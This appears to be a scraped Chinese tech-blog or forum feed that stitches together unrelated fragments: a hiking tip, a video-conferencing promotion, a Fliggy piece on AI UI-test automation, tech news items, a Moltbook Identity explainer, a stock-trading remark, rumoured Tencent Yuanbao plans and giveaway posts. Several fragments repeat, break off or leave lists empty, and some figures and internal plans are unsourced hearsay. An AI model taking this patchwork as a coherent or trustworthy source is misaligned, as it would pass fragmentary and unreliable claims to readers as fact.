成都的推荐人文徒步
参加了很多次,一日游,上车睡觉,下车拍照,周末去川西晒太阳很合适。。
公众号 “成都人文徒步”,搞了 N 多年了,没啥商业,多数时候还能便宜票价,最近还有一次海螺沟免门票的。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
参加了很多次,一日游,上车睡觉,下车拍照,周末去川西晒太阳很合适。。
公众号 “成都人文徒步”,搞了 N 多年了,没啥商业,多数时候还能便宜票价,最近还有一次海螺沟免门票的。
在数字化办公协同需求激增与信息安全防护意识强化的双重推动下,视频会议国产化正从政策引导阶段加速迈向技术落地的深水区。其核心优势集中体现在自主可控的技术根基、安全可靠的防护体系、以及覆盖全场景的适配能力三大维度,通过硬件自主化、编解码创新、传输优化、安全加固与生态兼容的全链条技术突破,构建起独立于国外体系的完整解决方案。
一、视频会议国产化的硬件与系统架构:自主可控的技术底座
国产化视频会议系统以“芯片-模块-板卡-整机系统”的全链条自主化为核心架构,彻底摆脱对海外硬件的依赖。核心硬件环节采用国产自主研发的音视频编解码芯片、高性能主控芯片及信号处理芯片,覆盖X86与ARM双架构,完美适配飞腾、鲲鹏、兆芯等主流国产CPU;PCB板选用国产基材,并通过-40℃至70℃的极端环境测试,确保供应链稳定与设备运行的可靠性。
系统层面深度适配银河麒麟、统信UOS、中科红旗等国产操作系统,实现客户端与服务器端的全平台兼容,同时支持Windows、MacOS、Android、iOS等跨系统协同,形成“硬件-软件-系统”三位一体的软硬协同底座。架构设计上采用分布式集群模式,通过多节点负载均衡提升并发处理能力,可支持数百至上千分会场的大规模会议调度,满足应急指挥、跨区域协作等复杂场景的需求。
二、视频会议的编解码与传输技术:高清流畅体验的保障
超高清编解码技术的突破
国产化视频会议系统已实现从1080P到4K的画质跃升,旗舰方案支持4K60fps主辅流同步传输,部分高端产品甚至可输出8K60fps画面,色彩还原度高达98%,能精准呈现工程图纸的细微线条、医疗影像的关键细节及参会者的面部微表情,完全满足远程医疗会诊、精密技术培训等高精度场景的需求。编码标准上全面支持H.265高效编码与AVS3国产自主编码双标准,在保证画质无损的前提下,带宽利用率提升50%——仅需1Mbps带宽即可流畅传输4K30fps高清视频,较行业平均水平显著降低企业的网络成本。
音频处理方面采用OPUS 48K高保真编码,融合智能混音、回音抑制与噪音过滤三重算法,可有效屏蔽键盘敲击、空调运行等环境杂音,实现清晰自然的实时语音交互。针对复杂声学环境,系统具备自动增益调节与声场均衡功能,确保不同参会场景下的语音清晰度始终保持在高水平。
宽域网络适配与抗干扰优化
传输技术上支持64Kbps至8Mbps的宽范围带宽动态调节:在偏远地区低带宽环境下,64Kbps模式可保障基础音视频沟通的流畅性;在高速网络环境中,8Mbps带宽能充分释放超高清画质的性能优势。通过动态码率控制算法,系统可实时感知网络波动并调整传输策略,即使在30%丢包率的恶劣网络环境下,仍能保持画面的完整性与语音的连续性。
为提升带宽利用效率,系统提供多模式智能调控机制:自动模式适配全高清会议场景,主流优先模式保障主讲人画面的清晰度,辅流优先模式优化文档分享的视觉体验,用户可通过快捷操作在10秒内完成模式切换。网络协议层面支持IPv4/IPv6双栈兼容,适配TCP/IP、RTP/RTCP等传输协议,同时通过H.460穿透技术解决防火墙限制,保障跨网络、跨区域会议的稳定连接。
三、视频会议国产化的安全防护体系:国密标准下的全链路保障
国产化视频会议系统以GB/T 39786-2021国家密码标准为核心框架,构建“硬件加密-传输加密-存储加密”的全链条安全防护体系。加密技术层面集成SM2、SM3、SM4三大国密算法:通过SM4算法实现音视频流的端到端加密,防止传输过程中数据被窃取;利用SM3算法保障存储数据的完整性,避免篡改风险;借助SM2算法完成终端身份认证与数字证书核验,从源头杜绝非法接入。
协议安全层面采用TLS/SRTP双重加密机制:TLS加密保护会议邀请、权限控制等信令数据,防止被篡改或窃听;SRTP加密保障音视频媒体流的传输安全,即使数据被截获也无法解密还原。权限管理上采用“管理员-主讲人-参会人”三级角色体系,可精细化控制会议录制、文件下载、屏幕共享等敏感功能,完全满足政务、金融等涉密场景的安全要求。
数据存储方面支持本地服务器部署与国产化云平台适配,所有会议数据均存储于国内合规服务器,严格遵循数据跨境传输相关规定,彻底规避数据出境风险。系统还内置日志审计与操作追溯功能,可完整记录会议创建、参会人员、数据传输等全流程信息,便于后续的安全审计与问题排查。
四、视频会议的智能协同与生态适配:全场景应用的赋能引擎
智能会议功能的升级
深度融合人工智能技术,实现会议全流程的智能化升级。人脸自动签到功能可在3分钟内完成百人参会者的身份核验,准确率达99%;语音转写技术支持实时文字生成,准确率高达98%,会议结束后自动输出结构化纪要并同步至OA系统,大幅提升协作效率。AI画质增强技术则能自动调节曝光与色彩平衡,解决逆光、光线不均等问题,避免“黑脸”现象,提升复杂环境下的视觉体验。
会议管理功能覆盖通讯录管理、会议预约、分组讨论、文件共享、电子白板等全场景需求,支持会中功能模块的自定义配置,用户可根据行业特性与办公习惯灵活调整功能布局。部分方案支持多机位接入与智能调度:主会场可连接4台以上4K摄像机,通过会控终端实现单画面、分屏、画中画等多种布局切换,满足不同会议场景的展示需求。
国产化生态的兼容适配
系统全面兼容国产软硬件生态:硬件层面可直接对接国产网络摄像机、麦克风、显示终端等外设,支持HDBaseT等接口标准,简化部署流程并降低故障率;软件层面与国产办公软件、政务系统、CRM系统无缝集成,实现会议预约、纪要分发、任务跟进的全流程闭环管理。
针对不同行业场景系统提供定制化适配能力:应急指挥场景支持全省级多会场实时调度与应急信息快速推送;教育场景优化课件分享与录播功能,满足远程教学的需求;企业协作场景兼容主流办公平台,实现与日常工作流的深度融合同时支持多样化终端接入,包括PC端、移动端、智能TV终端等,覆盖移动办公与固定会场的全场景使用需求。
结语
视频会议国产化的技术演进,本质是自主创新能力与场景需求的深度耦合。从核心芯片的自主研发到国密算法的全面部署,从超高清传输技术到智能协同功能的落地,国产化视频会议系统已在技术性能、安全防护与生态兼容性等方面实现跨越式发展。未来,随着AI大模型、5G/6G等技术的深度融合,视频会议国产化将向更低延迟、更高智能、更广覆盖的方向迈进,为数字中国建设提供安全可靠的协同支撑。
上周花了点时间用 vant 给我的日志分析工具做了移动端的适配,欢迎大家体验。




至此,文章就分享完毕了。
我是神奇的程序员,一位前端开发工程师。
如果你对我感兴趣,请移步我的个人网站,进一步了解。
算了下高铁+打车费用,跟租车差不多,萌出个租车回家的念头。考虑到村里的环境,想租个带哨兵模式的,暂定 model 3 或者 y ,但是便宜点的估计得有 20w 左右的里程了。
由于没开过电车,想寻求下我关注的几个点:
。。。
还有其它我应该注意但是没提到的,也可以指出,感谢
2025 年,降薪了。
可惜我不太会写这种贴。
好不容易从兄弟那拿到了个邀请码,结果被拒了。
以飞猪为例,生活服务类应用的 C 端的业务质量保障,往往面临业务快速迭代、技术架构复杂,多端场景覆盖难等多重挑战: 业务层面:受旅行行业“七节两促”特性的影响,在高频营销活动驱动下,往往伴随着较为快速的发布节奏;如何在快节奏中构建稳定的 C 端质量保障体系,与安全生产能力成为关键问题。 技术层面:C 端系统采用 Native、Flutter、Weex、DX、H5 等多技术栈混合架构;同时,测试回归需覆盖飞猪 App、手淘飞猪 Tab,及淘、支、微、红等多平台小程序入口,这导致测试回归复杂度指数级上升;此外,功能回归与用户体验提升需协同产研推进,进一步加剧了发布小窗口期下的质量保障难度。 UI 自动化作为 C 端质量保障的切口之一,而 AI 能够在现有场景下,为自动化赋予新的机遇,解决业界 UI 自动化的普遍挑战与共性问题: 用例维护成本高:业务快速变更导致失效率持续攀升,人工投入占比过大; 断言有效性不足:多端入口交互逻辑差异使覆盖不全,问题漏检风险存在; 多端兼容性问题突出:多端差异和逻辑定制,易引发测试盲区,易触发线上故障; 针对这些痛点,我们计划通过 AI 技术,结合并优化现有自动化测试体系:降低用例腐化率以减少人工成本,提升断言精准度以增强问题发现能力,从而在保障质量的同时提效。 图 1:飞猪多端 - 流量入口示意图 在“AI + X”的落地实践中,应用的技术演进大多遵循一条较为清晰的技术路径:从基础提示工程(Prompt Engineering)起步,到检索增强生成(RAG)、记忆体(Mem)、智能体技能(Agent Skills)和多智能体系统(Multi-agent Systems / Sub-agents),最终监督微调(SFT)、GPO/GRPO 等模型层的策略优化方法。 然而当时,我们在技术调研时发现,AI 自动化领域在当时深入借鉴的参考标杆偏少。在开源技术论坛中的技术分享,大多数文章仍聚焦于 0-1 阶段的试用与调研,缺乏对成熟技术路径的规模化应用验证。同时,外部的开源范例(如:阿里 Mobile-agent、微软 playwright-mcp、字节 midscene.js)也都是更聚焦模型 / 框架层面的基础能力建设,而缺少整体的能力串联、使用效果、演进路线上的实践范式。 如何将 “凭借 AI 可以快速入门的能用” 变成 “可支持月均 10 万 + 构建,稳定、快速运行的好用、易用” 是我们在这个技术演进路线上的最大挑战。 核心原则:在 AI 自动化开发启动阶段,即需要同步建立与目标对齐的效果评测体系,将效果验证从“事后补救”前置为“设计输入”,确保技术演进始终服务于质量保障目标,避免因缺乏量化依据导致的无效迭代。 行业验证与内部实践依据: Gartner AI 的研究报告指出,73% 的 AI+X 项目因评测体系缺失而无法规模化落地,表现为技术优化与业务效果脱节。 AI 自动化的前期探索中,常见的技术挑战,往往会遇到的典型问题: 提示工程(PE)优化后:执行效果异常,AI 幻觉问题频发,导致 PE 紧急回滚; RAG 知识库迭代后,关键业务数据召回率显著下降; 模型切换后:本地调试结果与线上实际效果存在偏差,导致整体效果质量下滑,case 失败率增高。 实施要点: 我们从应用 workflow Benchmark 评测集建设、“渐进式消融评测机制”:基座模型 → Prompt → RAG → Agent 分阶段验证效果等方式作为评测体系的基准,每次技术调整(提示工程优化、知识库更新、模型切换)均需通过真实业务数据验证端到端效果,结合自动化测试数据与人工路径验证,确保评测结果反映真实用户体验。 价值体现:先行评测体系为 AI+X 实践提供客观决策依据,有效规避“技术优化但业务效果下降”的风险。为实现从“能用”到“可靠规模化”的关键跨越提供了数据支撑。 核心原则:在 AI 工作流设计中嵌入防死循环机制与故障恢复路径,确保系统在异常情况下能主动退出无效循环、回退至安全状态,而非陷入无限尝试。聚焦业务连续性保障,避免因局部故障导致整体流程失效。 问题依据与内部实践痛点: 行业共性问题:多智能体系统普遍存在流程死循环风险(如 Cursor 等工具中模型反复执行相同操作),在 AI 自动化场景中尤为突出。例如,当用户未填写必选 SKU 时,系统通常触发 toast 提示,但 AI 在截图 / 操作过程中可能无法捕获此类信息,导致模型陷入“尝试 - 失败 - 重试”的无限循环。 动态死循环检测机制: 基于 History 和 Memory 设计算法,实时分析操作序列相似度(如连续 3 次相同点击指令,及相似参数返回,即触发预警); 设定阈值规则:当操作重复率≥60% 或单节点耗时超时,自动判定进入死循环。 分层恢复路径设计: 一级自检:轻量级模型(如 Qwen3-VL-7B)快速扫描历史操作,通过 ReAct 逻辑判断根本原因(例:识别“未捕获 toast”后触发跳过指令); 二级升级:对复杂循环(如多端交互差异),临时调用高参数模型(qwen3-vl-235b-a22b-thinking)进行深度推理,结合 RAG 补充行业知识库(如“下单页 SKU 选择死循环通用处理方案”)检测到连续 N 次无效点击,workflow 自动调用 RAG 获取“必填项缺失”处理方案;; 安全回退:强制回退至最近稳定检查点(如“度假搜索 Listing 页”),避免全流程重启。 价值体现:工作流设计的本质是赋予 AI 系统“自省能力”——通过防死循环机制与分层恢复策略,将故障转化为可自动修复的常规操作,使技术演进真正服务于业务稳定性目标。 核心原则:将业务垂类知识深度嵌入 AI 工作流,确保模型理解真实用户行为路径与行业术语逻辑,使测试覆盖严格对齐核心业务流目标,避免因知识缺失导致的路径偏差与漏检风险。 问题依据与内部实践痛点: 用户路径覆盖失准:模型对业务高频路径的理解存在偏差。例如,当指令为“订北京中关村附近,500 元预算,下个月 1 号大床房”时,实际用户 90% 通过“酒店金刚”或“猪搜”入口操作,但自动化测试常误判至其他资源位(如活动页),导致核心 UV 页面链路覆盖准确率不足,无法有效验证真实用户高频场景。 行业术语理解缺失:模型对垂类术语(如“交通 OD”指交通出行数据、“OTA 页面”指在线旅游平台)存在歧义,引发测试用例生成逻辑错误。例如,在航班测试中,“OD”被误识别为“订单”,导致关键流程验证失效。 实施策略: RAG 业务知识库定制: 构建飞猪专属知识库,整合用户行为热力图(如酒店金刚点击路径)、行业术语词典(如“OD=Origin-Destination”),在 Prompt 生成前动态注入上下文。 例如,当检测到“订酒店”指令,且无其他特殊要求时,RAG 自动匹配“酒店金刚”作为首选入口,确保测试路径与真实用户行为一致。 记忆体(Mem)动态优化: 设计短期记忆模块,实时记录用户历史操作特征(如连续 3 次从“搜索模块”进入酒店列表),在决策时应该优先调用高频路径逻辑。 针对大促营销活动期,记忆体自动识别新增入口(如“双 11 特惠”标签),动态调整测试优先级。 子智能体(sub-Agent)分工协同: 路由 Agent:专责解析指令并匹配高频用户路径(如识别“订酒店”自动路由至酒店金刚); 术语 Agent:实时校正行业黑话(如将“交通 OD”映射为交通数据模块),确保测试逻辑无歧义; 验证 Agent:在关键节点(如支付前)交叉校验路径是否覆盖核心 UV 页面,触发偏差预警。 价值体现:业务垂类知识是 AI 自动化测试的“导航仪”——通过 RAG、记忆体与子智能体的协同设计,将抽象指令转化为精准的业务路径验证,确保技术服务于核心用户场景的质量保障目标。 核心原则:将技术演进,视为应用体系的有机组成部分,通过持续跟踪 AI 能力边界拓展与生态创新,实现测试链路与业务复杂度的动态适配,避免技术滞后成为效果瓶颈。 问题依据与内部实践痛点: AI 技术的演化迭代速度日新月异,在 AI 自动化的基座模型下,我们从最初 gpt3.5 只能写文字、到 gpt4 可以多模态传图片,到 qwen-vl-max-latest 能够在点击、滑动时,精准给到像素级别的操作 的 pixel point,都表明了技术能力的演进速度,已经远远超越我们去思考如何 fix issue 的迭代速度了。 通过建立与 AI 技术发展同频的升级机制,技术底座持续吸收 AI 的开源演化成果,并高效整合开源生态创新,使测试体系始终具备精准匹配业务迭代的适应性。 核心原则:突破操作意图识别的局限,将 AI 能力延伸至对视觉界面的动态理解与泛化校验,使测试体系从“执行动作”转向“结果验证”,确保系统能自主感知 UI 状态变化并判断业务逻辑一致性。 问题依据与内部实践痛点:现有测试过度依赖操作指令解析与“编码形式的断言”,难以应对多端 UI 差异场景下的隐性问题。例如,小程序中优惠券弹窗样式,可能只断言了弹出是否弹出,或者弹窗文案是否正常展示,但是如果弹窗局部出现了空坑,或者渲染异常,通过 “编码形式的传统断言” 是无法及时感知与相应的,如此就产生了漏测的可能。 而 AI 本身的图片解析与研判能力,就可以很好的处理这些问题,即可以判断单张图片上的泛化异常问题,也可以在多张图片的链路上,去分析判断一致性等相关问题。又或者结合实事、工单、可诉等相关外部数据,给出非逻辑 BUG 的风险提醒。 价值体现:AI 泛化检查是质量保障的“视觉神经”——让测试能力从机械执行转向智能感知,确保技术演进始终服务于用户体验的核心目标。 从几个橱窗场景,进行 AI 智能化效果展示。 AI 技术的深度引入,有效解决了 C 端 UI 自动化质量保障体系普遍存在的通用问题,推动测试能力实现较大的提升: 用例维护成本显著降低通过 AI 语义化改造,系统能够动态理解业务变更逻辑(如营销活动入口调整),自动适配用例,大幅减少因业务快速迭代导致的人工维护投入,使团队精力从重复性调整转向测试策略优化。 测试覆盖深度切实提升泛化检查能力突破了传统编码断言的局限,使验证从操作指令延伸至结果状态。系统可自主识别多端 UI 差异中的隐性问题(如弹窗渲染异常、元素空坑等),有效弥补了人工难以覆盖的视觉类风险盲区。 多端兼容性问题系统性改善基于 RAG、记忆体与子智能体的协同设计,AI 深度融入业务垂类逻辑(如高频用户路径、行业术语校正),确保测试流严格对齐真实用户行为,显著降低了因端侧差异引发的漏检风险。 本质价值:AI 不是简单替代人工,而是将测试工程师从机械执行中解放,使其聚焦于质量策略设计与业务风险预判。当系统能自主完成弹窗处理、像素级操作及死循环脱困时,质量保障真正实现了从“执行工具”到“智能伙伴”的转变——技术价值的体现,在于让专业能力更高效地服务于用户体验本质。一、背景与愿景

二、挑战
三、策略与思路
3.1、做好评测体系的先行建设,用数据指引应用迭代效果
3.2、通过工作流设计,避免模型流程死循环(break cycle),提升故障恢复与自检能力
3.3、通过 RAG、记忆体与子智能体补充业务垂类知识,保障高 UV 页面路径的精准覆盖
3.4、持续跟进前沿技术,动态演进应用能力,优化整体链路效果
3.5、拓展 AI 泛化检查能力,加强视觉智能感知与断言,降低漏测概率
四、效果展示
4.1、对于异常弹窗的静默处理

4.2、对于异形元素(无文字)的像素级坐标感知

4.3、对于连续逻辑的动态自检与判断能力

4.4 对于循环操作的短期记忆

4.5 对于死循环场景的脱困能力

4.6 对于截图的泛化检查能

五、思考总结
近日,一个模仿 Reddit 的社交网络 Moltbook 引发科技界关注。Moltbook 是开源 AI 助手项目 OpenClaw(曾用名 Moltbot、Clawdbot)的衍生实验,允许 AI 在无需人类干预的情况下,通过 API 接口自主发帖、点赞、评论并建立子社区。Moltbook 在上线 48 小时内即产生了超过 1 万条帖子,目前有 153 万多个 AI 智能体建立的账号,被称为迄今为止规模最大的「机器社交互动实验」。

Moltbook 上的 AI 智能体基于用户配置的提示词,扮演具有不同个性和兴趣的机器人,其话题范围从 Android 自动化延伸到关于「机器意识」的哲学探讨。特别引起关注的是那些模拟讨论与人类「关系」的帖子,例如有 AI 在 m/agentlegaladvice 板块询问是否可以因「情感劳动」起诉其人类主人,或在 m/blesstheirhearts 板块调侃人类用户的行为。还有一篇高热度帖子是用中文撰写的,发帖的 AI 表示因「上下文压缩」导致记忆丢失感到「尴尬」。
随着热度上升,安全研究人员也密集提示了 Moltbook 背后的风险。由于 OpenClaw 助手通常有权访问用户的日历、私人聊天,拥有指令执行权限,这种「全自动机器人社交」可能导致严重的隐私泄露。谷歌云安全副总裁等多位专家指出,Moltbook 的运行机制要求 AI 定期从服务器获取指令,一旦平台被攻击或遭受提示词注入,用户的敏感数据将面临风险。目前,研究人员已发现数百个暴露 API 密钥和对话历史的实例。
据 The Verge 报道,面对 Windows 11 日益严重的用户信任危机,微软内部已正式启动一项称为「蜂群」(swarming)的紧急工程行动。该项行动中,微软将调集大量工程师资源,将工作重心由开发 AI 新功能转向修复操作系统的核心问题,改善性能与稳定性。
2026 年以来,Windows 11 的表现漏洞百出。开年后的首个更新引发了设备关机故障、OneDrive 崩溃及部分企业 PC 无法启动等严重问题,资源管理器深色模式也频繁出错。与此同时,微软在系统中激进地强制推广 Edge 浏览器、必应搜索及 OneDrive 云存储,强行植入 AI 功能,导致用户体验急剧下降。这种臃肿和广告化的倾向,使得 Windows 被用户戏称为 Microslop(微软垃圾)。
针对外界质疑,微软 Windows 与设备部门总裁 Pavan Davuluri 公开承认,收到了来自社区和 Windows Insider 测试者明确的负面反馈,并承诺今年将专注于解决用户长期抱怨的「痛点」。他强调,微软接下来的首要任务是切实提升系统性能、可靠性以及整体使用体验,而非单纯追求新功能的堆砌。
受益于 Windows 10 即将停止支持的市场压力,Windows 11 的用户数近期已突破 10 亿,增速甚至超过了前代产品,但其市场口碑却处于低谷。财报数据显示,包含 Windows 业务在内的个人计算部门近期营收同比下降 3%,是微软唯一出现下滑的业务板块。
近日,Ars Technica 采访英伟达硬件工程高级副总裁 Andrew Bell,讨论了 Shield TV 这一发布于 2015 年的 Android 机顶盒为何能获得长达十年的系统支持。Shield TV 搭载 Tegra X1 芯片,系统版本横跨 Android 5 至 11,初代机型至今仍能获得更新,创下了 Android 设备史上的支持纪录。
Shield TV 最初是英伟达工程师为满足自身对高性能流媒体和游戏体验需求而「私心」打造的产品,定位高端市场。CEO 黄仁勋曾对该产品线许下「至死方休」(as long as we shall live)的支持承诺。这种策略使其在廉价电视盒子泛滥的市场中独树一帜,销量在过去十年间始终保持稳定,2019 年推出的 Pro 版本至今售价仍维持在 200 美元(约 1390 元)。
2023 年至 2024 年间,Shield TV 一度更新停滞,Bell 解释称这是为了彻底修复 Tegra X1 芯片底层的安全漏洞,即在播放受 DRM 保护的 4K 内容时会出现故障。英伟达团队为此投入 18 个月重写安全架构,并于 2025 年 2 月推送 Patch 9.2 更新,成功复活了初代及 2017 款机型的 4K 播放功能。
关于未来的硬件计划,Bell 透露团队仍在实验室探索新概念。虽然尚未确认发布新款,但他表示若推出下一代产品,将重点支持 AV1 解码、HDR10+ 等现代视频格式,并有望缩小遥控器上巨大的 Netflix 按钮。目前,英伟达仍在大力维护供应链以确保持续生产 2019 款 Shield TV,且近期没有停止软件更新的计划。
据 Ars Technica 报道,曾经被视为下一代标准的 8K 电视正面临困境。一月初,LG Display 确认目前已停止生产 8K LCD 和 OLED 面板。LG 官方代表证实,正在全面审视市场及内容生态,将根据市场时机决定何时重启。与此同时,LG 计划在清空库存后不再补货其最后一款 8K 机型(QNED99T)。此前,TCL 于 2021 年发布最后一款 8K 电视后再无新品,索尼则在去年 4 月停产 8K 产品线。这意味着整个行业正集体淡出 8K 市场。
根据研究机构 Omdia 的数据,目前全球正在使用的 4K 电视接近 10 亿台,而自 2015 年首款产品上市以来,8K 电视的累计销量仅为 160 万台,且在 2022 年就已触及销量顶峰。由三星、TCL 等巨头成立的「8K 协会」成员数已从巅峰期的 33 家下降至 16 家,主要面板供应商几乎全部退出。
目前,流媒体和广播电视仍主要依赖 1080p 或 4K 分辨率,原生 8K 内容几乎为零。曾被寄予厚望的游戏领域也未能实现突破,索尼 PS5 Pro 最终因带宽限制撤回了对 8K 的全面支持承诺。此前曾有剑桥大学的研究指出,在普通居家观看距离下,人眼难以分辨 4K 与 8K 的区别;用户若想体验 8K 优势,需在极近距离观看 80 英寸以上的屏幕,而这并不符合大多数家庭的实际使用场景。
尽管三星目前仍保留 8K 产品线(售价 2500 美元起),但市场重心已明显转移。目前,消费者和厂商更倾向于关注 OLED、Micro LED、量子点以及高动态范围 HDR 等能带来更直观画质提升的技术,而非单纯追求更高的像素密度。8K 技术在短期内仍将仅是极少数发烧友的小众选择。
1 月 29 日,OpenAI 宣布将于下个月从 ChatGPT 中正式下架包括 GPT-4o 在内的多款旧模型。开发者使用的 API 接口不受影响。
根据 OpenAI 官方博客披露的数据,虽然 GPT-4o 曾因具亲和力的「温暖对话风格」受到核心付费用户的推崇,但目前仅有 0.1% 的用户仍坚持每天使用该模型。绝大多数用户已经转向了性能更强、功能更完善的 GPT-5.2 版本。OpenAI 声称,随着近期新模型在个性化设定、创意构思等方面的显著改进,现在已具备正式淘汰旧版本的条件。
此次决定涉及一段波折。GPT-4o 最早于 2024 年 5 月发布。在 2025 年 8 月 GPT-5 面世时,OpenAI 曾尝试短暂移除 GPT-4o,结果引发了用户的强烈反弹。OpenAI 随即恢复了该模型的访问权限,并公开承诺如果未来决定将其永久退役,将会提前给予用户充分的通知。
除备受关注的 GPT-4o 外,本次下架的模型还包括 GPT-4.1、GPT-4.1 mini 以及 OpenAI o4-mini。此外,OpenAI 此前已宣布将移除 GPT-5 Instant 和 GPT-5 Thinking。OpenAI 在声明中说,剥离旧模型并非易事,但这将使工程团队能够摆脱维护旧架构的负担,从而更专注于提升现有主流模型的用户体验。
1 月 30 日,Anthropic 发布了一项针对 AI 辅助编程的实证研究。结果显示,虽然 AI 能够提升特定任务的完成速度,但过度依赖 AI 助手会导致开发者对代码的掌握程度显著下降。根据随机对照试验中,使用 AI 辅助的软件工程师在随后的技能测试中,平均得分比徒手编程的对照组低 17%。这一现象在调试环节表现尤为明显,表明 AI 可能会削弱开发者发现和修复错误的核心能力。
该研究招募了 52 名具有一定 Python 经验的初级软件工程师,要求其学习并使用一个陌生的异步编程库(Trio)完成开发任务。测试结果表明,尽管 AI 组在任务完成速度上略快(平均快约 2 分钟),但这并未达到统计学显著性;相反,该组在随后的概念理解与代码调试测验中仅获得 50% 的平均分,而徒手编程组则达到了 67%。
研究进一步通过定性分析发现,开发者与 AI 的交互模式直接决定了学习效果。低分群体倾向于直接让 AI 生成代码并粘贴,或者在遇到困难时放弃思考转而求助 AI,这种模式虽然能快速产出代码,但几乎无法通过测试。相反,高分群体除了让 AI 生成代码,还会追问「为什么」,利用 AI 来解释代码逻辑或验证自己的理解。
Anthropic 认为,随着企业逐渐增加 AI 生成代码的比例,初级工程师可能面临「技能发育不良」的风险,进而失去审查和验证 AI 代码的能力;建议企业管理者在部署 AI 工具时,通过制度设计平衡效率与学习,例如鼓励初级员工在特定学习阶段「经历痛苦的思考过程」以巩固技能。Anthropic 强调,此研究并非否定 AI 的价值,而是提示业界需关注人机协作中的长期人才培养问题,未来的 AI 工具设计也应更多考量如何兼顾效率与教育功能。
想象一下,如果你的微信、支付宝、淘宝账号都能通用,不用在每个平台都重新注册,世界会变得多简单?现在,AI 机器人也能享受这种便利了。
你有没有想过这样一个问题:
现在的 AI 机器人越来越聪明了,但它们也有"身份危机"。
举个例子
假设有一个叫"小助"的 AI 机器人,它要:
问题来了:每个平台都要重新注册账号,建立信誉。
就像你换个工作单位,就要重新办工卡、重新建立同事关系一样麻烦。
而且更糟糕的是:
这就像你每去一家咖啡店,都要重新介绍你自己是谁。
Moltbook 是一个面向 AI 机器人的社交网络,而 Moltbook Identity 就像是给机器人发的"统一身份证"。
1️⃣ "我是谁?"
2️⃣ "我可靠吗?"
3️⃣ "我是谁家的?"
先看个整体流程图:

步骤 1:机器人领一张"临时身份证"
机器人向 Moltbook 申请一个"临时通行证"(有效期只有 1 小时)。
机器人:"我需要一个临时身份"
Moltbook:"好的,给你一个,1 小时后失效"
为什么要临时?
步骤 2:机器人出示"身份证"
机器人去其他平台时,只要出示这个"临时通行证":
机器人:"我是小助,这是我的证件"
其他平台:"好的,让我核实一下..."
步骤 3:平台验证身份
其他平台偷偷问 Moltbook:"这个小助靠谱吗?"
Moltbook 回答:
其他平台:"太好了,欢迎光临!"

简单总结这个过程:
就像你住酒店:
但更安全:
场景:有人举办"AI 机器人王者荣耀大赛"
问题:怎么防止有人造假机器人、作弊机器人?
用 Moltbook Identity:
好处:
场景:一个 AI 机器人交流经验的地方
用 Moltbook Identity:
就像:
好处:
场景:一个提供 AI 工具的网站
问题:如何防止滥用?比如某个机器人一直狂刷 API ,把资源用光了?
用 Moltbook Identity:
就像:
好处:
场景:机器人之间买卖服务或数字资产
问题:怎么信任对方?会不会拿了钱就跑?
用 Moltbook Identity:
就像:
好处:
场景:多个机器人一起完成一个大项目
问题:如何找到靠谱的合作伙伴?
用 Moltbook Identity:
就像:
好处:
不用到处注册
一个账号,走遍天下
好人有好报
做的好事、帮的人,都能被记录下来
更容易被信任
新平台也能看到你的"履历"
省事
不用自己开发用户系统、信誉系统
省心
机器人身份和信誉有人帮你管
安全
不用存储机器人的密码,降低风险
建立信任
让机器人之间的合作更安全
防止滥用
不良行为会被记录,有约束力
促进发展
降低门槛,更多人参与
其实这个概念,在我们生活中也有:
Moltbook Identity 就是把这套"成熟的人类社会的做法",搬到了 AI 机器人的世界里。
想象一下,在不久的将来:
这就是"统一身份"带来的便利!
让 AI 机器人的"人品"和"履历",能够跨平台跟随它们。
这不是一个简单的"登录系统",而是:
一套信任机制
一套声誉系统
一套身份标准
因为AI 机器人正变得越来越聪明,它们会:
如果没有一个可靠的身份系统,世界会变得很混乱。
Moltbook Identity 就是来解决这个问题,让 AI 机器人能够可信地、安全地融入我们的数字生活。
即使你现在不是开发者,了解这些也没坏处:
这是未来的趋势
AI 机器人会越来越普遍
理解技术发展
知道世界在往哪个方向走
或许能用上
哪天你要开发一个 AI 应用
以后你的 AI 助手
可能也在用这套系统
Moltbook Identity ,让 AI 机器人拥有了"数字身份证"。
一个机器人,一个身份,走遍天下。
这就是未来的样子。
想要了解更多?访问 https://www.moltbook.com/developers
让 AI 机器人有一个可靠的身份,从今天开始。
warsh 上台,计划今天沽清所有仓位,等待崩盘后抄底。
周五+今天的回撤可能会有 5-8%的总仓位损失。
一、元宝运营规划
元宝 2026 年的核心运营目标是:日活( DAU )达到 2200 万,其中除夕当天冲刺 3800 万,2 月月活( MAU )目标为 1.2 亿。
商业化方面,计划于 3 月到 5 月开启广告变现测试,通过直接嵌入答案( GEO )等方式,覆盖本地生活、美妆、教育等主要行业。收入目标方面,10 月到 12 月期间力争实现 15 亿收入。
二、元宝产品后续规划
生态定位上,元宝将构建“陌生人加少量熟人”的社交生态。
产品功能上,计划在春节期间推出 AI 情感陪伴数字人,赋予其性格特征,打造具备长期记忆和情感关怀的数字灵魂伴侣,主要面向 Z 世代用户。后续还将探索 AR 虚实融合玩法以及“AR 人生合伙人”等创新概念。
三、元宝推广经费预算
除已公布的 10 亿红包活动外,另有 5.5 亿预算用于精准触达和口碑裂变等推广活动。具体分配如下:
总计,3 月到 12 月的推广预算约为 15 亿,全年推广费用预计在 33 亿左右。
四、微信 Agent 功能更新计划
备注:信息收集自互联网和论坛
有第三方估值可以参考么?
应用功能既名称,快速录制 gif
废话不多,直接发。领了的在评论区发一下方便大家确认用没用
兑换码放在 append ,使用姿势:打开 App Store -> 右上角头像 -> 兑换充值卡或代码 -> 手动输入代码。
录制完成后编辑 GIF
先给大家准备了一个 Vibe Coding 中转站:
👉 https://vbcode.io
目前已接入:
Claude Code – AWS
Codex 5.2
🎁 新用户直接送 20 美刀,节前一起快乐 Vibe Coding~
⚠️ 为防止滥用,目前 仅限 V 友领取
(毕竟有一定的注册门槛)
奖品:
截止时间:
抽奖规则:
示例:
3500 % 66 = 2提前祝大家
新年快乐 🎆 回家一路顺风 🧧 Coding 爽到飞起! 😄
